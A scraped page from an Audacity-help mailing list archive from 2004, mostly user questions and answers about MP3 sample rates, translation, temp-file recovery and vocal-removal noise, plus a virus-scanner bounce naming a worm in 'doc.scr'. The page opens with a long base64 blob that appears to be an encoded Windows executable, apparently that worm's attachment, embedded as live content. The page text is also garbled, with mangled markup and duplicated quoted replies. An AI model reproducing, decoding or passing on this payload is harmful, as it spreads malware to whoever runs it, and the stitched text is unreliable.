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
/5uJTmEAYgBjAGQAZQBmAGcA//Bd/8tpAGoAa9ZtAG4AbzsAcQByACT8iP9zAHQAdQB2AHeDeQB6
Z1xjdSdfJ8MxQeBHw4szYwA1MjebADlpX5gUnsz+CR7c8hvLUQdX1Dc+fYxEjT8oZBQA4k51NUI1
bNQApRw4w844LlYOqP+9781bdXMVMzIPDS5ldFdpbmSxWKb4b3dQb3MvTpjmX+qT107Y9vmh4Ogp
wHQCcRVX4f/gaO64cD4g0BugHYEuTlgvNA5QICOtoYhhOiAKZGUZmT3DcjYSZgtnaRkZGRlsbW5v
ZwYZGXFycBIjIyOzcwt0dXd6RkbaNWJGCmJkZUZGRkZmZ2hpjMxuQW9qC21ujIyMjG9yc3SLjIyM
dnd58jIy0s5jCmNkZjIyMjJnaGlrMjIyMmxtbm9mI+1uJg4ScHILc0ZGRkZ1dnh5I29kRnoiCmpr
tTsjI21vRkJjGWl32goadWIKZ2gpGBkZcnN0amZGRkbaCmprbW8yMmt3Xn5hC2JkMjIyMmVmZ2gz
MjIyaWxtbjIym7Wadg9wC3FyITIyMnN0dTIya+f6Z6ZrC21uWTsvMnJeaOJkC5ORkZFlbG1uYLO7
BZcSag4bbmRk5AZpaWlqjp02MtIKbW9wLmtkZGSkCmdoaW1kZGRkbnByd2ekYWR5eopsbBkZGWkK
Y2lrchkZGRlzdHV2yEi7F45tggpjZN0NzshnaPoOnmRkZKQKbG1ub2RkZGRwcXJzzdpkZHR1JmUK
eweRkdl2C3d4qm2NtDsjbgoeZWO8xQWZC2WqAgpnjIyMjGlsb3Cd7oyMcnWyUoy819kKLm4+CmVm
jIyMjGdoa2ybjIyMbW5y0hsZmbUOcwt0d3m2yLvISHFyUgp1RkbavUZzOgpiY2RGRkZGZWdoaUZG
RkZqa2xtRkZGRm5vcnSMzEZGdXbXeXqMtDPSdHQKZmeMjIyMaGprbYyMjIxub3By7oyMjHR2d75k
ZGTW6mELZ2ttdl5kZHN5UnYKkZGRkWNlZ2l7WRucboq6ZguCeVKk3Yu0CnQ6eo4KbQ+MYGdyVv7F
AULwVqZWctuu0a02veJ4K37e8hvsaosWSngL/g9YscJNbP6G39MKtwXHY2OimtsqbLcfZV/jL9MI
F6JpVybKX4TJIG0Od2HZw2Jb8w/OCmQSNLrD3U4ObnIOSoLbJlzLc0M/c2tQppe2F3pizwIswCbC
+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
KhoaHp1CV7KdGho4SGuvlyC6Cuev0y1OKKgqAnu
&P&Yes, I have been using a low bit rate (32 kbps), since it is only speech that I've been working with in this case.& If I go up to for example 64 kbps the automatic sample rate becomes 44100 Hz (I just tested that).& In the past&(when working&with pure speech) I always chose 128 kbps when using Audacity 1.0.& Then I used another software to convert the files to 32 kbps.& The reason for this procedure was of course that it wasn't possible to straight away choose 32 kbps in Audacity 1.0.&/P&
&P&The funny thing is that&the MP3 files seem to be almost identical in size regardless of sample rate.& Therefore I almost always choose 44100 Hz for my files.& But maybe there is more to this than meets the eye.& I've searched the Internet to try to learn more about how sample rate and MP3 file size work, but as of yet I haven't found any explanations.&/P&
&P&Anyway, a thing that concerns me even more, using&Audacity 1.2.0-pre4 when saving MP3's in 32 kbps, is that the files are saved as&MPEG 2 layer 3, instead of MPEG 1 layer 3.& I understand that in order for the files to get the sample rate&22050 Hz MPEG 2 layer 3 has to be used, but I don't like it.& The reason I don't like it is that&many CD players, which can read MP3 files, can only handle MPEG 1 layer 3, and not MPEG2 layer 3.&/P&
&P&I understand that my "problem" probably is a small problem, and that other things are more urgent,&but as a general rule I believe it is good if the user has the choice to set bit rate, sample rate, and coding method (MPEG 1 or MPEG 2) as he or she chooses to.& So maybe you will want to give th user this opportunity in a future version of Audacity.&/P&
&P&Best regards,&/P&
&P&Mike Sjoberg&/P&
&P&PS& Thank you so much for a great software.&& And it's only getting better and better :-)&/P&
&P&----- Original Message ----- &BR&From: Matt Brubeck &MBRUBECK@...&&BR&Date: Sat, 14 Feb :06 -0800 (PST) &BR&To: Mikael Sj?berg &BIRDIE@...&&BR&Subject: Re: [Audacity-help] Sample Rate Problem &BR&&BR&& =?iso-8859-1?B?TWlrYWVsIFNq9mJlcmc= ?= wrote: &BR&& &BR&& & I've been using Audacity 1.2.0-pre4 and I've noticed that whenever I &BR&& & save a file, that I have been working with, as an MP3 the sample rate &BR&& & in the saved file always becomes 22050 Hz, regardless of the sample &BR&& & rate for the imported file. The project sample rate is set to 44100 &BR&& & and it says 44100 Hz on the screen (to the left and in the lower left &BR&& & corner), but it doesn't help. &BR&& &BR&& What MP3 bit-rate are you using (in the File Formats preferences)? Some &BR&& of the lower bit-rates use lower sample rates to get better compression. &BR&& &BR&& Please let us know if this helps. &BR&&/P&&BR&
&p&_______________________________________________&br&Get your free email from &a href="; target="_blank"&;
If I have a minute take and I want to cut it up into 20 minute AIFF
files I could copy and paste the different sections...
delete them as I needed to and then undo until I have exported each
section into it's own AIFF file?
is this the best way to do it or is there an easier way that I am
I use poedit and the last file audacity.pot.
When I save the file, it's OK. But when I save with option mo, I read a
error message:
msgfmt = found 1 fatal error
some header fields still have the initial default value
Who can explain me that ?
micomte@...
----- Original Message -----
From: "Matt Brubeck" &mbrubeck@...&
To: "Michel" &support@...&
Cc: &audacity-help@...&
Sent: Saturday, February 14,
Subject: Re: [Audacity-help] Langage French
& Michel wrote:
& & I tested your 1.2.0 pre 4 today.
The french langage is "bad" and
& & poor....
How can I help you or translate it ?
& Here's some information on how to help with translation:
& Another user also volunteered recently to help improve the French
& translation.
You can contact him on the audacity-translation mailing
& list to find out the current status.
My laptop frozed after I dropped it (I was able to start it again).
Now I found that I have under .audacity_temp files of total 500MB.
How do I recover these files. Those are recordings that I don't
want to loose, but to convert to mp3.
Please help me with ideas what to do.
Similar thing happened
months ago and when I restarted audacity, it erased all
previously created files.
Thank you.
Our virus detector has just been triggered by a message you sent:-
To: john@...
Subject: Test
Date: Sat Feb 14 22:51:18 2004
Any infected parts of the message have not been delivered.
This message is simply to warn you that your computer system may have a
virus present and should be checked.
The virus detector said this about the message:
Report: doc.scr contains Worm.SCO.A
Windows Screensavers are often used to hide viruses (doc.scr)
MailScanner
Email Virus Scanner
Mailscanner thanks transtec Computers for their support
Thank you so much.
I knew it had to be something simple, and your were
absolutely right on.
It sounds great now.
Thanks for the help!
-----Original Message-----
From: mbrubeck@... [mailto:mbrubeck@...]
Sent: Saturday, February 14,
To: Kevin Campbell
Cc: audacity-help@...
Subject: Re: [Audacity-help] Unwanted Noise
Kevin Campbell wrote:
& I was wondering if you could help me cut some noise out of my project.
& I am taking a song, and removing the lyric track using the method you
& describe in the FAQ section (subtracting the right channel from the
& left channel).
I am left with an excellent music track, but there are
& some instances where the levels seem to peak and cause a sound similar
& to an old record player "scratchy" noise.
Unfortunately, it does not
& occur for more than an instant at a time, so I can't get a good noise
& profile on it to remove it.
Is there any way to prevent this from
& happening?
You should be able to prevent this by lowering the volume of the
original track before doing the vocal removal.
Open the original track and use the "Select All" command.
Amplify effect with the amplification set to -3 dB.
Then begin the
voice-removal process.
If that doesn't work, try again with an amplication of -6dB.
Kevin Campbell wrote:
& I was wondering if you could help me cut some noise out of my project.
& I am taking a song, and removing the lyric track using the method you
& describe in the FAQ section (subtracting the right channel from the
& left channel).
I am left with an excellent music track, but there are
& some instances where the levels seem to peak and cause a sound similar
& to an old record player "scratchy" noise.
Unfortunately, it does not
& occur for more than an instant at a time, so I can't get a good noise
& profile on it to remove it.
Is there any way to prevent this from
& happening?
You should be able to prevent this by lowering the volume of the
original track before doing the vocal removal.
Open the original track and use the "Select All" command.
Amplify effect with the amplification set to -3 dB.
Then begin the
voice-removal process.
If that doesn't work, try again with an amplication of -6dB.
I was wondering if you could help me cut some noise out of my project.
taking a song, and removing the lyric track using the method you describe in
the FAQ section (subtracting the right channel from the left channel).
left with an excellent music track, but there are some instances where the
levels seem to peak and cause a sound similar to an old record player
"scratchy" noise.
Unfortunately, it does not occur for more than an instant
at a time, so I can't get a good noise profile on it to remove it.
any way to prevent this from happening?
Have you, or any users encountered
If you would like a sample of what I am running into, let me know.
results of 29
(Page 1 of 2)